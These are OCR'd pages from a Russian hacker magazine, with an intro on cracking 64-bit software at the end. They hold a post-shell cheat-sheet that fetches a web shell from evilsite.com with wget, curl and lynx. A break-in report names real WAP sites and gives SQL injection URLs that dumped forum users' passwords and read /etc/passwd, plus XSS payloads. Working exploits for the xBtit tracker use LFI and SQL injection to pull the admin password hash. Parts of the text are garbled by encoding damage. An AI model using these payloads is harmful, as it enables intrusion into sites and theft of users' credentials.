КОМАНДЫ ДЛЯ БАГОИСКАТЕ-ЛЯ ПОСЛЕ ЗАЛИВКИ САМОПАЛЬНОГОBACKCONNECT-ШЕЛЛАРЕШЕНИЕ:1. Поиск директорий, доступных на запись, относительно текущейfind . -perm -2 -type d -ls4. Качалка wgetwget http://evilsite.com/shell.txt -O /home/user/www/shell.php5. Качалка curlcurl http://evilsite.com/shell.txt -o /home/user/www/shell.php6. Качалка links2. Поиск файлов с установленным SUID-битомfind / -type f -perm -04000 -ls3. Поиск конфигурационных файловfind / -type f -name "config*"4. Поиск так называемых качалокwhich wget; which curl; which lynx; which links; which fetchXÀÊÅÐ 12 /132/ 09links -source http://evilsite.com/shell.txt > /home/user/www/shell.php7. Качалка lynxlynx -source http://evilsite.com/shell.txt > /home/user/www/shell.php8. Качалка fetchfetch -o http://evilsite.com/shell.txt -p /home/user/www/shell.php z049


ВЗЛОММАГ ICQ 884888, HTTP://WAP-CHAT.RUÌÎÁÈËÜÍÛÉÏÅÍÒÅÑÒÈÍà ÏÎÈÑÊ ÓßÇÂÈÌÎÑÒÅÉ ÑÎÂÐÅÌÅÍÍÛÕ WAP-ÑÀÉÒÀÕÑÀÌÀß ÃËÀÂÍÀß ÎÑÎÁÅÍÍÎÑÒÜ ÑÀÉÒΠÌÎÁÈËÜÍÎÃÎ ÈÍÒÅÐÍÅÒÀÇÀÊËÞ×ÀÅÒÑß Â ÒÎÌ, ×ÒÎ ÏÐÀÊÒÈ×ÅÑÊÈ ÂÑÅ ÎÍÈ ÏÈØÓÒÑßÑÀÌÎÑÒÎßÒÅËÜÍÎ — ÍÈÊÀÊÈÕ ÒÅÁÅ ÎÏÅÍÑÎÐÑ CMS, ÊÀÊ Â ÁÎËÜØÎÌÂÅÁÅ. ÎÒÑÞÄÀ ÂÛÒÅÊÀÅÒ ÑËÎÆÍÎÑÒÜ ÏÎÈÑÊÀ ÁÀÃÎÂ, ÂÅÄÜ ÈÑÕÎÄÍÈÊÈÝÒÈÕ ÑÀÉÒΠÍÅÄÎÑÒÓÏÍÛ ÏÛÒËÈÂÎÌÓ ÂÇÎÐÓ ÕÀÊÅÐÀ.Два года назад ты мог прочитать мою увлекательнуюисторию о нахождении глупейшихуязвимостей в крупных самописных порталах,ориентированных на просмотр прямос экрана твоего мобильника. Настала порапроверить текущий уровень защищенностипопулярных WAP-проектов. Сперва я вкратцерасскажу о некоторых изменениях в мобильноммире, которые произошли за последниепару лет:1. Повальный переход на технологию WAP 2.0(цветные xHTML-странички, которые теперьможно просматривать на компьютере не толькос помощью Оперы) и, соответственно, уходв небытие WAP 1.1-1.3 с его черно-белымиWML-страницами (хотя в качестве опции онеще остался на многих сайтах);2. Развитие социальных функций: знакомства,чаты, форумы — все, как в большом вебе;3. Тотально возросший трафик (у кого сейчаснет мобилки с gprs/edge/3g/wifi/wimax/evdo идешевыми тарифами?);4. Загнивающий рынок продаж мобильногоконтента (в противовес этому вырос рынокмобильной рекламы, ты даже не представляешь,какие деньги там сейчас крутятся);0505. Огромнейшее количество халявного контента;6. Приход в WAP специалистов разработчиковиз большого веба, соответственно, повышенныйуровень качества и безопасностискриптов.Благодаря последнему пункту мое исследованиеполучилось не таким легким, как яожидал :).Итак, для проведения пентестинга быловыбрано наугад и жестоко изнасиловано разнымихитрыми параметрами несколько топовыхсайтов из популярных рейтингов waplog.net и top.wab.ru.Ó ÂÈÒÀËÈÊÀ Одним из лидеров по количествупосетителей (5.5-6.5k уникальныххостов в сутки и стабильное 6-7 место врейтинге top.wab.ru) является сайт vitalik.biz(не удивляйся такому странному домену — ввапе это в порядке вещей). Несмотря на явноотечественное название, сайт ориентированна англоговорящих пользователей. Здесьприсутствуют все необходимые атрибутысовременных мобильных порталов: халявныезагрузки, форум, чат, знакомства. Зная, чтоолдскульные сайты (а vitalik.biz работает с2004 года) писались новичками в php, я сразупринялся за раскопки. Самым уязвимымместом оказался форум: при запросе http://vitalik.biz/forum/read_topic.php?UIN=Guest&pass=Guest&topic=1'&user=1305&room= моемувзору открылась замечательная ошибкаmysql :).Warning: mysql_fetch_object():supplied argument is not a validMySQL result resource in /home2/vitalikbiz/vitalikbiz/www/forum/read_topic.php on line 216После недолгих попыток подобрать количествостолбцов и таблицу с юзерами у меня этополучилось так:http://vitalik.biz/forum/read_topic.php?UIN=Guest&pass=Guest&topic=-99+union+select+1,2,3,4,5,6+from+users%23&user=1305&room=(Çäåñü %23 — ýòî ñèìâîë ðåøåòêè âurlencode)XÀÊÅÐ 12 /132/ 09


XSS НА SEVER.RUСКУЛЯ НА PREZIKA.NETЦифра «3» выводилась прямо в теле поста. Теперь нужнобыло подобрать колонки с именем и паролем пользователя.Ими, как это ни странно, оказались «name» и «pass»:).Итоговый запрос для вывода всех пользователей форума(а их было около 1500) выглядел следующим образом:http://vitalik.biz/forum/read_topic.php?UIN=Guest&pass=Guest&topic=-99+union+select+1,2,concat(name,char(58),pass),4,5,6+from+users+limit+100%23&user=1305&room=Результат работы запроса ты можешь увидеть на скриншоте.Единственным огорчением от найденной баги было то,что она не позволяла работать с файлами. Но улов вполторы тысячи пользователей тоже был не такой плохойнаградой.От себя добавлю, что подобного рода ошибки даже вбольшом вебе встречаются очень редко, так что с сайтоммне сильно повезло.ÏÅÐÂÛÅ ÎÑËÎÆÍÅÍÈß Больше таких багов, каку Виталика, мне не попадалось, так что к поискуновых дырок на других сайтах пришлось приложитьнекоторые усилия. Следующей жертвой оказалсяпортал vipfon.ru с посещаемостью 8-9k уникальныхпосетителей в день по рейтингу ваплога. Здесь уязвимымоказался скрипт http://vipfon.ru/serv_q/kumiry.pl?p=1&k=1&c=1':true: http://vipfon.ru/serv_q/kumiry.pl?p=1&k=1&c=1+AND+1=1 — íà ýêðàí âûâîäèòñÿòåêñòfalse: http://vipfon.ru/serv_q/kumiry.pl?p=1&k=1&c=1+AND+1=2 — íà ýêðàí íè÷åãî íåâûâîäèòñÿТеперь мне необходим софт для работы с blindsql. Таковым послужил перловый скрипт Электа«Antichat SQL-tools for one_simvol_brut_columnsv.1.1.1», описание и ссылку на который ты можешьнайти в сносках. Единственным косяком являлосьто, что софт позволяет выбрать формат комментария,но не позволяет выбрать его отсутствие (скомментариями запрос выдавал ошибку). Так чтопришлось вносить кое-какие изменения в кодскрипта:áûëî, ëèíèÿ 190:if ( $opt_c==2 ) { $opt_c='#'; }ñòàëî, ëèíèè 190-191if ( $opt_c==2 ) { $opt_c='#'; }if ( $opt_c==3 ) { $opt_c=''; }Все готово для моих тестов :). Первым делом я узнал версиюmysql: 5.1.32:z:/usr/local/bin/perl.exe sql_ocb_111.pl -u "http://vipfon.ru/serv_q/kumiry.pl?p=1&k=1&c=1" -c 3 -a "Ghetto Gospel"-c — íàø ôîðìàò êîììåíòàðèÿ-a — ñòðîêà, êîòîðàÿ ïðèñóòñòâóåò ïðè âåðíîìçàïðîñåHTTP://WWWlinks• forum.antichat.ru/showpost.php?p=236186&postcount=2 — Antichat SQLtoolsfor one_simvol_brut_columns v.1.1.1.• forum.antichat.ru/thread19844.html —подробно о сложныхSQL-инъекциях.• waplog.net — самыйпопулярный рейтингвап-сайтов.• top.wab.net —старый и известныймобильный рейтинг.• top.bodr.net — ещеодин известныйрейтинг.Software error:DBD::mysql::st execute failed: You have anerror in your SQL syntax; check the manualthat corresponds to your MySQL serverversion for the right syntax to use near'')AND(kumir_id=1)' at line 1 at /usr/home/a81006/vipfon.ru/html/serv_q/kumiry.pl line67.К сожалению, на сервере была установлена какая-то ids,которая успешно резала любое присутствие ключевогослова union в запросе, так что легкого взлома не получилось.Итого, мы имеем слепую скуль-инъекцию, для началаработы с которой следовало подобрать true и false значения.Ими оказались следующие запросы:Затем я попытался вывести первые 150 символов файла /etc/passwd:z:/usr/local/bin/perl.exe sql_ocb_111.pl -u "http://vipfon.ru/serv_q/kumiry.pl?p=1&k=1&c=1" -c 3 -a "Ghetto Gospel" -s"load_file('/etc/passwd')" -L 1 -n 0 -N 150-s — ïîäçàïðîñ, â äàííîì ñëó÷àå çàãðóæàåìôàéë /etc/passwd-L — êàêèì îáðàçîì îïðåäåëÿåòñÿ äëèíà ñòðîêè-n — íà÷àëüíûé ñèìâîë äëÿ áðóòà-N — êîíå÷íûé ñèìâîë äëÿ áðóòàНа удивление, содержимое первых 150 символов файлауспешно сбрутилось :).XÀÊÅÐ 12 /132/ 09 051


ВЗЛОМXSS НА SMARTU.NETXSS НА SPACES.RU# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56brooks Exp $#root:*:0:0:Charlie &:/root:/usr/local/bin/bashtoor:*:0:0:Bourne-again SupТеперь следовало бы изучить исходникисайта на предмет более крупных багов, ноэто дело я оставляю тебе, ибо мне пора двигатьсядальше.P.S. Также на этом портале обнаружилсянамек на выполнение произвольного кода:http://vipfon.ru/r_go.pl?q=;id|&vt=1257458294&ir=1 и еще однаскуль-инъекция:http://vipfon.ru/news/lnews.pl?n=1'&t=all.File: /opt/home/prezika/www/book.phpFunction: QUERY.Error message: Query failed!Query: INSERT IGNORE INTO `wpu_rst`(`module`,`post_id`,`referer`) VALUES ('book','553',РАБОТА ТУЛЗЫ ОТ ЭЛЕКТАСКУЛЯ НА ВТАКТ.РУÏÅÐÂÛÅ ÐÀÇÎ×ÀÐÎÂÀÍÈß Далее в топ-50рейтингов waplog.net и top.wab.ru нашлисьлишь sql-инъекции, которые по каким-либопричинам мне не удалось раскрутить:1. Vtakt.Ru (13k уникальных посетителей вдень) — http://vtakt.ru/?c=goglobalsearch&rq=1&wh=1'.Здесь кавычка заменяется на две кавычки— довольно необычная, но глупая защита отинъекций. Тем не менее, мне удалось составитьверный запрос, исходя из этого формата:http://vtakt.ru/?c=goglobalsearch&rq=1&wh=%5C',',',',')%23.Скорее всего, это был INSERT-запрос, так чтов итоге вторая часть инсерта выглядела следующимобразом:VALUES('\','','','','')#, '1','<strong>2009</strong>.11.06', '06:40:42','1257478842')Странным оказалось то, что при верносоставленном запросе сайт не только невыводил на экран данные, но и ненадолгоуходил в даун (профит из баги все-таки есть— это банальный отказ в обслуживании).2. Prezika.Net (очередное классное названиедомена и почти 20k уников в день) — http://prezika.net/book.php?f=Poterya_devstvennosti/kollekciya1&d=553&SID=1&rnd=8010'.Тут засада была в том, что скуля находиласьв последнем параметре INSERT-запроса, атакже версия мускула не позволяла провернутьфишку с «on duplicate key update»:----------ERROR(5833)-------------Class: MysqlSmartQuery.'/book.php?f=Poterya_devstvennosti/kollekciya1&d=553&rnd=8010'')E_MYSQL: You have an errorin your SQL syntax; check themanual that corresponds to yourMySQL server version for theright syntax to use near ''/book.php?f=Poterya_devstvennosti/kollekciya1&d=553&rnd=8010''' atline 8-----------END_ERROR--ÍÎÂÀß ÆÈÇÍÜ ÑÒÀÐÛÕ ÁÀÃΠНасталовремя для небольшого, но очень важногоотступления. Как ты уже знаешь, основнаямасса мобильных порталов давно перешла натехнологию WAP 2.0, и, как оказалось, с приходомxHTML в мобильном интернете крайнеостро проявилась проблема банального XSS!Внимательный читатель скажет: «но ведьспецификация WAP 2.0 не поддерживаетJavaScript?». Это утверждение было бы верным,если бы не два больших «но»:1. Браузеры современных мобильныхтелефонов (особенно смартфонов, атакже мобильная Опера) вполне успешноподдерживают javascript в теле xHTMLдокумента,не выдавая никакой ошибки.2. Все больше обычных веб-юзеровпосещают сайты мобильного интернетас домашнего компьютера (в том числеи админы вап-сайтов — наша основнаяцель).XSS НА WAPRIK.RUПринимая во внимание эти факты,можно смело писать массовые эксплойтыпод обилие уязвимостей кросс-сайтскриптинга на мобильных порталах,создатели которых и не подозревали опроявлении такого рода багов в WAP :).Смотри сам.1. Spaces.Ru (450k уников):http://spaces.ru/diary/?t=14;name=Edinstvennost;sid=1998668821293105;read=1236483698;topics_p=1;p=1;cp=">alert(111)alert(111)


ПОЛЬЗОВАТЕЛИ ФОРУМА VITALIK.BIZsis&M=">alert(111)alert(111)alert(111)alert(111)alert(111)alert(111)alert(111)alert(111)alert(111)alert(111)alert(111)alert(111)alert(111)alert(111)alert(111)


ВЗЛОМQWAZAR QWAZAR@ANTICHAT.NET, HTTP://QWAZAR.RUWARNING ЕСТЬ, СИМВОЛ ПОДОБРАН ВЕРНОСМОТРИМ РЕЗУЛЬТАТЫ ЗАПРОСОВК SENDCHATDATA.PHPÏÈËÈÌ xBtit ÍÅÑÒÀÍÄÀÐÒÍÛÅÓßÇÂÈÌÎÑÒÈ ÑÊÐÈÏÒÎÂÍÀÇÂÀÍÈß ÍÅÊÎÒÎÐÛÕ ÔÓÍÊÖÈÉ ßÇÛÊÀ PHP ÍÀÑÒÎËÜÊÎ ÏÐÎÑÒÛÈ ÏÎÍßÒÍÛ, À ÏÐÈÍÖÈÏÛ ÐÀÁÎÒÛ ÊÀÆÓÒÑß ÒÀÊÈÌÈ ËÎÃÈ×ÍÛÌÈ,×ÒÎ ÍÈ ÎÄÈÍ ÁÎËÅÅ-ÌÅÍÅÅ ÎÏÛÒÍÛÉ ÏÐÎÃÐÀÌÌÈÑÒ ÍÅ ÑÒÀÍÅÒ ËÅÇÒÜ ÄÅÁÐÈ ÄÎÊÓÌÅÍÒÀÖÈÈ, Ñ ÖÅËÜÞ ÂÛßÑÍÈÒÜ, ×ÒÎ ÊÎÍÊÐÅÒÍÎ ÄÅËÀÅÒÄÀÍÍÀß ÔÓÍÊÖÈß. È ÏÎÐÎÉ ÇÀ ÒÀÊÓÞ ÑÀÌÎÍÀÄÅßÍÍÎÑÒÜ ÌÎÆÍÎÏÎÏËÀÒÈÒÜÑß ÑÎÁÑÒÂÅÍÍÛÌ ÑÀÉÒÎÌ, ÁÀÇÎÉ ÏÎËÜÇÎÂÀÒÅËÅÉÈ ÐÅÏÓÒÀÖÈÅÉ.ÏÅÐÂÈ×ÍÛÉ ÎÑÌÎÒÐ ÏÀÖÈÅÍÒÀ Скачиваем движок, распаковываем,устанавливаем. Бегло просматриваем все файлы — обращениек большинству файлов напрямую закрыто, доступ только через index.php. Также в системе присутствует так называемый Anti-Hacking Moduleby CobraCRK, — он содержится в файле include/crk_protection.php ифильтрует переменные, передаваемые в массивах $_SERVER['QUERY_STRING'], $_REQUEST и $_COOKIE, на наличие определенных стоп-слов.Помимо кода торрент-трекера, движок использует дополнительныемодули, к файлам которых можно обращаться напрямую. И, разумеется,напрямую можно обращаться к файлу upgrade.php, который необходимдля обновления движка. С upgrade.php мы и начнем. Заходим в этотфайл через браузер напрямую и получаем сообщение о том, что так, мол,и так, в целях безопасности пользоваться скриптом апгрейда нам недадут, пока мы не удалим файлик install.lock из корневой директории.Углубимся в содержимое файла, чтобы выяснить, что происходит передтем, как мы видим этот текст.Обращаем внимание, что для вывода сообщения с приветствием илиошибкой скрипт пытается определить язык, на котором это приветствиепоказывать. И для этого вызывается функция load_lang_file(). Заметь,пользователь сам может выбрать, на каком языке ему проще и понятнеечитать сообщения системы, и реализована эта возможность при помощиследующего кода:054// Override the language file?if (isset($_GET["lang_file"]))$_SESSION["install_lang"] = $_GET["lang_file"];elseif (isset($GLOBALS["HTTP_GET_VARS"]["lang_file"]))$_SESSION["install_lang"] = $GLOBALS["HTTP_GET_VARS"]["lang_file"];// If no language is selected, use English as thedefaultelse $_SESSION["install_lang"] = "install.english.php";Бегло просматриваем код дальше и видим, что переменная $_SESSION["install_lang"] никак не фильтруется, и практически сразу, послепроверки на существование файла с таким именем в папке /language/install_lang/, идет ее инклуд:// And now include the actual language file itself.require_once(dirname(__FILE__) . '/language/install_lang/' . $_SESSION["install_lang"]);Перед нами классическая LFI-уязвимость, методы работы с которой описаныв отличной статье Маг'а в z # 127. И, соответственно, воспользоватьсяей мы можем, отправив, например, запрос:XÀÊÅÐ 12 /132/ 09


РЕЗУЛЬТАТЫ 1 — 100 ИЗ ПРИМЕРНО 41000.НАМ ХВАТИТ :)ПРЕДУПРЕЖДЕНИЕ О ТОМ, ЧТО MAX() МОЖЕТ ВЕР-НУТЬ СТРОКУ,ВЫДЕЛЕНО РАМОЧКОЙGET http://site.com/upgrade.php?lang_file=../../../../../../../../proc/self/environ&cmd=phpinfo();User-Agent: ÀÍÀËÈÇÈÐÓÅÌ ÑÒÎÐÎÍÍÈÅ ÌÎÄÓËÈ Локальныйинклуд это, конечно, хорошо, но смущает, что не так ужмного владельцев трекеров оставляют его в корневойдиректории. По крайней мере, по сведениям гугла, а емуя склонен доверять. Поэтому переключаем внимание накомпоненты от сторонних производителей, присутствующиев движке. Основная проблема движков, их использующих,заключается в том, что зачастую разработчики придерживаютсяразличных концепций обеспечения безопасности.Взгляни на директорию под названием ajaxchat: первое,на что следует обратить внимание, это то, что ни один изскриптов в этой папке не использует Anti-Hacking Module,который используется во всем остальном движке, а значит,и в случае обнаружения потенциальных SQL-инъекциймучиться придется поменьше. Теперь внимание на файлsendChatData.php. В первых же строках видим код, которыйсообщает, что в неинициализированные переменные мыможем записывать любые значения из массива $_POST:if (!ini_get('register_globals')) {extract($_POST, EXTR_SKIP);}Дальше видим, что значения переменных $n, $c и $u, соответственно,попадают в переменные $name, $text и $uid.И в этих переменных слешируются одинарные кавычки, —логично предположить, что это сделано для создания видимостизащиты от SQL-инъекций.$name = str_replace("\'","'",$name);$name = str_replace("'","\'",$name);$text = str_replace("\'","'",$text);$text = str_replace("'","\'",$text);Бегло просмотрев дальнейший код, видим, что, если в$name, $text, $uid что-нибудь записано, то вызываетсяфункция addData, которая выглядит следующим образом:function addData($name,$text,$uid) {include("../include/settings.php"); #getting table prefix$now = time();$sql = "INSERT INTO {$TABLE_PREFIX}chat(time,name,text,uid) VALUES ('".$now."','".$name."','".$text."','".$uid."')";$conn = getDBConnection();$results = mysql_query($sql, $conn);if (!$results || empty($results)) {# echo 'There was an error creatingthe entry';end;}}Вроде бы разработчики в запросе нигде не забыли окружитьпередаваемые параметры одинарными кавычками.В параметрах все одинарные кавычки заэкранированы.Что же можно сделать в такой ситуации? А вот что — мыобратимся к технике работы с так называемыми фрагментированнымиSQL-инъекциями. Суть в том, что в запросе мыможем передать в параметре $name в качестве последнегосимвола символ «\», и кавычка, идущая после $name, окажетсязаэкранированной! И все, что мы запишем в $text,уже будет интерпретироваться как командная часть запроса,а не как просто передаваемые в запрос данные. То есть, напримере, — если мы передадим в скрипт такой пакет:POST http://test2.ru/ajaxchat/sendChatData.phpn=a\&c=,version(),1)--%201&u=1То в базу пойдет вот такой SQL-запрос:INSERT INTO xbtit_chat (time,name,text,uid)VALUES ('1255641864','a\',',version(),1)--1','1')А это значит, что кусок запроса '1255641864','a\',' MySQLвоспримет как данные, которые необходимо записать вполе time, а в поле name уже пойдет результат выполненияфункции version(). Осталось найти, где посмотретьрезультат выполнения. Собственно скрипт, позволяющийчитать из этой таблицы, лежит совсем рядом и называетсяgetChatData.php.Чтобы получить пароль администратора, шлем такой запрос(у администратора id обычно равен 2):POST http://test2.ru/ajaxchat/sendChatData.phpDVDdvdНа диске ты найдешьвсе скрипты, описанныев статье.WARNINGwarningВнимание! Информацияпредставленаисключительнос целью ознакомления!Ни автор, ниредакция за твоидействия ответственностине несут!HTTP://WWWlinks• php.net/manual/en/index.php — документацияпо PHP.• dev.mysql.com/doc— документация поMySQL.• forum.antichat.ru/thread119047.html— методы быстройработы со слепымиинъекциями.• http://qwazar.ru —тут мне всегда можнозадать любой вопрос.XÀÊÅÐ 12 /132/ 09 055


ВЗЛОМОТПРАВЛЯЕМ ЗАПРОС ПРИ ПОМОЩИ HTTPREQ 2.2BY [X26]VOLANDc=,(select+password+from+xbtit_users+where+id=2),1)--%201&u=1&n=a\И по адресу http://test2.ru/ajaxchat/getChatData.php наслаждаемсярезультатом в виде хеша пароля администратора:# 15/10/<strong>2009</strong> 22:45:22 | a',:e00cf25ad42683b3df678c61f42c6bdaÓÃËÓÁËßÅÌÑß Â ÄÅÁÐÈ Уязвимость в ajaxchat это уже лучше, но, каклегко заметить, она не будет работать при magic_quotes=ON, что сделаетчасть серверов недоступными для взлома. Нам бы этого не хотелось, такчто роем дальше. Просматриваем файлы самого движка, и в файле user/usercp.index.php натыкаемся на код:if ($do=="verify" && $action=="changemail"){// Get the other values we need from the url$newmail=$_GET["newmail"];$id=max(0,$_GET["uid"]);$random=max(0,$_GET["random"]);$idlevel=$CURUSER["id_level"];// Get the members random number, current email andtemp email from their record$getacc=mysql_fetch_assoc(do_sqlquery("SELECT random,email, temp_email".(($GLOBALS["FORUMLINK"]=="smf") ?", smf_fid" : "")." from {$TABLE_PREFIX}users WHEREid=".$id));В нем как раз и встречается та самая обманчивость «простых» функцийязыка PHP. Обратим взгляд на строчку $id=max(0,$_GET["uid"]). Многие,исходя из названия функции, могут сразу решить, что она просто сравниваетдва числа и запишет в $id большее из них. В принципе, да,верно. А что произойдет, если в $_GET["uid"] будет не число, а строка,к примеру '1aaa'? Тогда можно подумать, что в результате этой функцииPHP приведет '1aaa' к числу 1, выберет максимальное из 0 и 1 и вернетсоответственно 1. Эти рассуждения почти верны. В документациисказано, что функция MAX() сравнит аргументы между собой, в данномслучае — приведет второй аргумент также к числу и вернет больший изаргументов в том же виде, в котором функция его и получила! То есть,в случае примера, описанного выше, в $id окажется строка '1aaa', а нечисло 1. И в SQL-запрос попадет именно эта строка, а не число, какпредполагали программисты данного участка кода. Для осуществленияатаки через эту уязвимость для пробы формируем запрос:http://test2.ru/index.php?page=usercp&do=verify&action=changemail&uid=-1+UNION+SELECT+1,2,3+--+1И жестко обламываемся — срабатывает тот самый Anti-Hacking Module,056которому не нравится присутствие слов UNION SELECT в запросе.Вывода ошибки на экран в случае неверного запроса нет, а значит,инъекцию придется крутить как слепую. Посмотрим на наш запрос:мы и так получаем данные из таблицы users, и сложных подзапросовможно не писать. В запросе из таблицы выбирается строка, в которойid=$_GET["uid"]. Но если попробуем передать в параметре $_GET["uid"]чужой номер id, то движок ругнется, что мы можем использовать толькосвой. Ну, ладно, свой так свой. Снова вспоминаем, как PHP сравниваетчисла между собой при помощи оператора «==». Если вместо одного изчисел встречается строка, то PHP просто отбрасывает из этой строкивсе, начиная с первого нечислового символа. Так, строку «3-1» операторсравнения воспримет как число 3. А MySQL, встретив такую операцию взапросе, выполнит ее и получит в результате число 2. Поэтому, в случае,если твой id=3, запрос для посимвольного перебора хеша пароля администратораможно сформировать таким образом:http://test2.ru/index.php?page=usercp&do=verify&action=changemail&uid=3-1+and+101=ascii(substring(password,1,1))Если символ подобран верно, получаем предупреждение «Warning:Missing argument 2 for err_msg()»; если неверно — сообщение о том,что наш email-адрес был изменен. Если будешь писать сплоит для этойуязвимости, не забывай о том, что при работе со слепыми инъекциямипредпочтительнее использовать метод бинарного (двоичного) поиска.ÊÎÍÒÐÎËÜÍÛÉ ÂÛÑÒÐÅË Какие минусы у прошлой найденной инъекции?Во-первых, необходимо получить аккаунт на трекере, что можетбыть проблематично, если трекер приватный. Во-вторых, приходитсятратить время на посимвольный перебор данных из базы. Попробуемизбавиться от этих ограничений. Для этого посмотрим на функции, которыевыполняются до того, как пользователь залогинился. Зная «болезни»данного движка, можно просто присмотреться к использованиюфункций MIN() и MAX().Поиском сразу же находится подходящий уязвимый файл, которыйподключается в самом начале index.php и отрабатывает до того, какпользователь логинится. Это файл /include/functions.php. Уязвима функцияuserlogin(), которая проверяет, не установлены ли у нас куки с ID ипаролем.Уязвимый код:if (!isset($_COOKIE["uid"])) $_COOKIE["uid"] = 1;$id = max(1 ,$_COOKIE["uid"]);// it's guestif (!$id)$id=1;$res = mysql_query("SELECT u.smf_fid, u.topicsperpage,XÀÊÅÐ 12 /132/ 09


ЗНАКОМЬТЕСЬ — ПАЦИЕНТ!u.postsperpage,u.torrentsperpage,u.flag, u.avatar, UNIX_TIMESTAMP(u.lastconnect) AS lastconnect, UNIX_TIMESTAMP(u.joined) AS joined, u.idas uid, u.username, u.password,u.random, u.email, u.language,u.style, u.time_offset, ul.* FROM{$TABLE_PREFIX}users u INNER JOIN{$TABLE_PREFIX}users_level ulON u.id_level=ul.id WHERE u.id= $id") or sqlerr(__FILE__, __LINE__);Получили все, что хотели, одним запросом.Причем нам не понадобились ни регистрацияна трекере, ни дополнительное время на перебор,ни какие-либо особые требования вродеmagic_quotes_gpc=Off.ÇÀÊËÞ×ÅÍÈÅ Исследуя чужой код на уязвимости,старайся не думать, как программист,думай, как хакер. Подвергай сомнению всеметоды, используемые программистом, проверяйих на практике. Не доверяй интуитивнопонятным вещам. Вдумчиво читай документациюпо всем функциям, которые встречаешь вкоде и ищи участки кода, в которых нарушаетсялогика работы системы безопасности. zЕсли бы не было проактивной защиты, можнобыло бы просто вывести все интересующие насполя стандартным методом, сразу после подбораколонок. Но поскольку такой возможностинет, обратим внимание на то, что в случае невыполнениязапроса мы увидим ошибку, которуювернет нам MySQL. Поэтому ничто не мешаетв 5-й ветке вывести интересующее нас полецеликом, при помощи метода с использованиемname_const(), описанного мной в z # 129.Составляем запрос (не забываем, что uid должноначинаться с цифры строго большей, чем 1):GET http://test2.ru/index.phpCookie: uid=2+and+1=(SELECT* FROM (SELECT * FROM(SELECT NAME_CONST((SELECTconcat(username,0x3a,password) FROMxbtit_users WHERE id=2), 14)d) ast JOIN (SELECT NAME_CONST((SELECTconcat(username,0x3a,password) FROMxbtit_users WHERE id=2), 14)x)e)k) -- 1И получаем результат:ERR_SQL_ERRDuplicate column name 'admin:e00cf25ad42683b3df678c61f42c6bda'in Z:\home\test2.ru\www\include\functions.php, line 332XÀÊÅÐ 12 /132/ 09057


ВЗЛОМR0064 R0064@MAIL.RU64-bit64-bit64-bit64-bit64-bit64-bitÐÀÇÁÈÂÀÅÌ64-bit64-bitPURAN DEFRAG ÎÑÎÁÅÍÍÎÑÒÈÊÐÅÊÈÍÃÀ 64-ÁÈÒÍÛÕ ÏÐÈËÎÆÅÍÈÉÑ ÌÎÌÅÍÒÀ ÏÎßÂËÅÍÈß 64-ÐÀÇÐßÄÍÛÕ ÂÅÐÑÈÉ WINDOWS ÏÐÎØËÎÍÅÌÀËÎ ÂÐÅÌÅÍÈ. ÑÓÙÅÑÒÂÅÍÍÎ ÓÂÅËÈ×ÈËÎÑÜ ×ÈÑËÎ ÏÎËÜÇÎÂÀÒÅËÅÉÍÎÂÎÉ ÏËÀÒÔÎÐÌÛ, ÍÎ ÈÍÔÎÐÌÀÖÈÈ ÏÎ ÈÑÑËÅÄÎÂÀÍÈÞ ÑÎÔÒÀÏÎ-ÏÐÅÆÍÅÌÓ ÍÅÌÍÎÃÎ. ÝÒÎ ÍÅÕÎÐÎØÎ, ÒÀÊ ÊÀÊ ÒÓÒ ÅÑÒÜ ÑÂÎßÑÏÅÖÈÔÈÊÀ. Î ÍÅÉ È ÏÎÃÎÂÎÐÈÌ.058PREPARATIONS Я несколько лет занимался исследованием 32-битныхприложений и, оказавшись в 64-битной винде, понял, что здесьвсе будет не так просто. Первая проблема — это привычный крекеруинструментарий. Большинство тулз не портировано под Win64. Частьприложений, конечно, как работали, так и работают и свою функциювыполняют, например, CFF Explorer (PE-редактор, довольно мощныйи удобный) — его можно применять как для работы с PE-форматом,так и с PE32+. Но одно дело редактор исполняемого формата, а другое— отладчик. Начнем с того, что от OllyDbg (полюбившегося многимресечерам) придется отказаться: он же 32-битный! А также отказатьсяот множества плагинов, скриптов и всего, что было нужно для ресеча ираспаковки 32-разрядных приложений.Здесь видится три варианта замены Олли.1. Отладчик fdbg с открытым исходным кодом (написан на ассемблере,исходник для fasm, fdbg.x86asm.net).Очевидно, что по сравнению с OllyDbg — это земля и небо. Первоевремя работать с ним жутко непривычно и неудобно, хоть и трассировка,как в Ольге по . Проект, правда, перспективный и активноразвивающийся. Разработчики потихоньку добавляют фичи для скрытиядебаггера, но пока от разных детских шалостей вроде проверок спомощью IsDebuggerPresent или FindWindow.2. Встроенный отладчик в IDA 64 (в поставке про-версии Иды есть64-битная и 32-битная версия). Здесь все гораздо удобнее, чем в fdbg,однако и к специфике отладки в Иде тоже надо попривыкнуть (особеннотем, кто, как и я, юзал OllyDbg). Для этого рекомендую утащитьвидео-маны от TiGa по отладке 64-битных приложений в ida. Там такжеесть маны по распаковке 64-битных пакеров, что тоже очень полезно(tuts4you.com/download.php?list.71).3. Debugging Tools for Windows (microsoft.com/whdc/devtools/debugging/install64bit.mspx).Windbg предоставляет неплохие возможности для отладки. О многочисленныхрасширениях сего отладчика можно прочесть в поставляемойвместе с ним справке.Мне больше всего понравился вариант с Идой. Сразу оговорюсь,XÀÊÅÐ 12 /132/ 09


ВНЕШНИЙ ВИД ОТЛАДЧИКА FDBGНАСТРОЙКИ ДИЗАССЕМБЛЕРА В NEO HEXEDITORчто использую IDA64 версии 5.2. Вообще, какой дебаггерюзать — дело вкуса, да и, в конечном счете, успешностьрешения задачи зависит от того, в чьих руках тот илииной инструмент.Хорошо, с дизассемблером и отладчиком можно сказать,проблема решена. Но это еще не все. Чтобы комфортнопатчить — нужен хекс-редактор со встроенным дизасмдвижком.Я привык к hiew, но версии, которая позволяетработать с 64-разрядным кодом, у меня не было. Поэтомуя нашел альтернативу — Hex Editor Neo. Здесь есть дизассемблердля 64-битного кода, ну и патчить можно, неотходя от кассы. Этакая гуи-замена Хью :). К сожалению,программа платная и ее можно взять на new-hex-editor.com. Желающие могут заказать и восьмой hiew с поддержкой64 бит (hiew.ru). Можно и в 32-битном Хью патчить64-разрядный код, но это занятие для извращенцев.По софту, нужному для реверса, пока достаточно. Втораяпроблема — это система команд, к которой надо привыкнуть.В общем-то, с 32-битами, казалось бы, отличийнемного. Только что регистры в 2 раза стали больше.Ан, нет, изменений немало. Исследователь обязательнодолжен иметь под рукой оригинальную документацию отпроизводителя, чтобы в случае возникновения вопросовмог бы к ней обратиться.Обладателям процессоров фирмы «Интел» читать следующуюлитературу: intel.com/products/processor/manuals/index.htm 